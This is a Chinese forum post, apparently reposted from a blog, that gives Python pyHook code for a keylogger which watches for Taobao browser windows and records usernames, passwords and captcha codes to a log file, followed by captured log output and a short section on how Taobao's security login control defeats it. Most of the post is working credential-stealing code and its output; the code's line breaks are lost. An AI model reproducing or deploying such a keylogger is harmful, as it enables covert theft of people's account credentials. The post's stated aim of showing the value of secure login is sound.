23decxf 发表于 2017-5-9 07:11:34

Python:通过获取淘宝账号和密码的实验,来看登陆方式选择的重要性

  在昨天的文章《Python:监控键盘输入、鼠标操作,并将捕获到的信息记录到文件中》中,我们实现了将用户输入记录到文件的功能,今天看看这一功能的实际应用。
  一、实现思路:
  1、判断当前用户操作的窗口,如果窗口是淘宝网的页面,则开始监控。
  2、将用户在淘宝上的所有输入全部记录下来,通常这些记录中会包括用户登陆时的用户名、密码,电话、邮箱等敏感信息。
  二、代码实现:
#!/usr/bin/env python# -*- coding: utf-8 -*-import pythoncomimport pyHookimport timeimport loggingimport logging.config#日志配置文件名LOG_FILENAME = 'hook_logging.conf'#日志语句提示信息LOG_CONTENT_NAME = 'taobao_input_msg'def log_init(log_config_filename, logname):'''Function:日志模块初始化函数Input:log_config_filename:日志配置文件名lognmae:每条日志前的提示语句Output: loggerauthor: socratesblog:http://blog.csdn.net/dyx1024date:2012-02-13'''logging.config.fileConfig(log_config_filename)logger = logging.getLogger(logname)return loggerdef onMouseEvent(event):'''Function:处理鼠标左键单击事件,如果当前MSG中存放了信息,将其写入文件,因为有的用户在输入 完用户名后,不是使用TAB键切换到密码框,而是通过鼠标切换到密码输入窗口这种情况应该属于大多数网民的习惯,所以此处要判断是否通过鼠标切换了输入窗口Input:evenOutput: Tureauthor: socratesblog:http://blog.csdn.net/dyx1024date:2012-03-03'''global MSGif len(MSG) != 0:hook_logger.info('current page:%s' % event.WindowName)hook_logger.error('information:%s' % MSG)MSG = '' return Truedef onKeyboardEvent(event): "处理键盘事件"'''Function:处理键盘事件,如果当前窗口为TAOBAO页面,刚开始监控并记录用户输入因为此时用户可能准备输入用户名及密码进行登陆,所以将用户输入的所有可见的ascii字符记录下来,此处要考虑用户是否使用了TAB键或回车键来结束输入,此时要将信息记录到日志中。Input:evenOutput: Tureauthor: socratesblog:http://blog.csdn.net/dyx1024date:2012-03-03'''   global MSGif event.WindowName.decode('GBK').find(u"淘宝") != -1:if (127 >= event.Ascii > 31) or (event.Ascii == 8):MSG += chr(event.Ascii)hook_logger.info('ascii:%d(%s)' % (event.Ascii, str(event.Key)))      if (event.Ascii == 9) or (event.Ascii == 13):hook_logger.info('current page:%s' % event.WindowName)hook_logger.error('information:%s' % MSG)MSG = '' return Trueif __name__ == "__main__": '''Function:获取TAOBAO账号及密码Input:NONEOutput: NONEauthor: socratesblog:http://blog.csdn.net/dyx1024date:2012-03-03'''#打开日志文件#初始化日志系统hook_logger = log_init(LOG_FILENAME, LOG_CONTENT_NAME) MSG = ''       #创建hook句柄hm = pyHook.HookManager()#监控鼠标hm.SubscribeMouseLeftDown(onMouseEvent)hm.HookMouse()#监控键盘hm.KeyDown = onKeyboardEventhm.HookKeyboard()#循环获取消息pythoncom.PumpMessages()
三、测试  步骤:
  1、打开taobao页面,输入用户名及密码,并登陆,窗口截图如下:

  

  2、看看后台日志文件taobao_log.log中的内容:
INFO: ascii:115(S)INFO: ascii:111(O)INFO: ascii:99(C)INFO: ascii:114(R)INFO: ascii:97(A)INFO: ascii:116(T)INFO: ascii:101(E)INFO: ascii:115(S)INFO: ascii:64(2)INFO: ascii:103(G)INFO: ascii:109(M)INFO: ascii:97(A)INFO: ascii:105(I)INFO: ascii:108(L)INFO: ascii:46(Oem_Period)INFO: ascii:99(C)INFO: ascii:111(O)INFO: ascii:109(M)INFO: current page:淘宝网 - 淘我喜欢! - Google ChromeERROR: information:socrates@gmail.comINFO: ascii:109(M)INFO: ascii:121(Y)INFO: ascii:95(Oem_Minus)INFO: ascii:112(P)INFO: ascii:97(A)INFO: ascii:115(S)INFO: ascii:115(S)INFO: ascii:119(W)INFO: ascii:111(O)INFO: ascii:114(R)INFO: ascii:100(D)INFO: ascii:64(2)INFO: ascii:116(T)INFO: ascii:97(A)INFO: ascii:111(O)INFO: ascii:98(B)INFO: ascii:97(A)INFO: ascii:111(O)INFO: current page:NoneERROR: information:my_password@taobaoINFO: ascii:83(S)INFO: ascii:75(K)INFO: ascii:55(7)INFO: ascii:87(W)INFO: current page:NoneERROR: information:SK7W
  上面的日志中,我将用户每次的按键用info级别保存下来,当用户输入完成后,将合并后的串以ERROR级别打印出来,如果你不需要输入info级别,只需要修改日志配置文件设置打印级别高于info即可,记录日志这块的内容可见文章《Python:日志模块logging的应用》。之所以打印是为和合并后的串进行校验,并且如果用户输入过程中出现错误,使用退格键删除,可以通过ascii码识别出,从日志中可以看到,有三个关键性信息:
ERROR: information:socrates@gmail.com
ERROR: information:my_password@taobao
ERROR: information:SK7W  

  以上三条ERROR日志分别对应了我输入的用户名、密码(仅仅是个测试)、验证码。
  

  四、我们应该怎么做?
  从上面的实验可以看出,如果有人在我们电脑中植入了这样一个小程序,有可能会获取到一些敏感数据,应该如何避免呢,淘宝其实已经想好了,就是在登录时,只需要将“安全控件登陆”这个选项勾上,这样键盘的输入将不会被hook住。再次测试如下:
  1、输入不变,只是勾选“安全控件登陆”,如图:


  

  看看这次的日志信息:
INFO:ascii:115(S)INFO:ascii:111(O)INFO:ascii:99(C)INFO:ascii:114(R)INFO:ascii:97(A)INFO:ascii:116(T)INFO:ascii:101(E)INFO:ascii:115(S)INFO:ascii:64(2)INFO:ascii:103(G)INFO:ascii:109(M)INFO:ascii:97(A)INFO:ascii:105(I)INFO:ascii:108(L)INFO:ascii:46(Oem_Period)INFO:ascii:99(C)INFO:ascii:111(O)INFO:ascii:109(M)INFO:current page:淘宝网 - 淘我喜欢! - Windows Internet ExplorerERROR:information:socrates@gmail.comINFO:ascii:101(E)INFO:ascii:54(6)INFO:ascii:104(H)INFO:ascii:56(8)INFO:current page:NoneERROR:information:e6h8
可以看出,在密码框中输入的内容没有被记录下来。  

  五、总结
  从上面的实验可以看出,登录方式设计的重要性,如果对安全性考虑不足,这块很容易被利用。对于用户来说,在我们登录一些涉及个人敏感数据的网站时,最好安装上网站提供的安全插件,再者,在输入时采用软键盘等均可以避免输入被监控。

大象无形 发表于 2017-5-10 09:07:51

太老了吧,现在都获取不到这些内容了
页: [1]
查看完整版本: Python:通过获取淘宝账号和密码的实验,来看登陆方式选择的重要性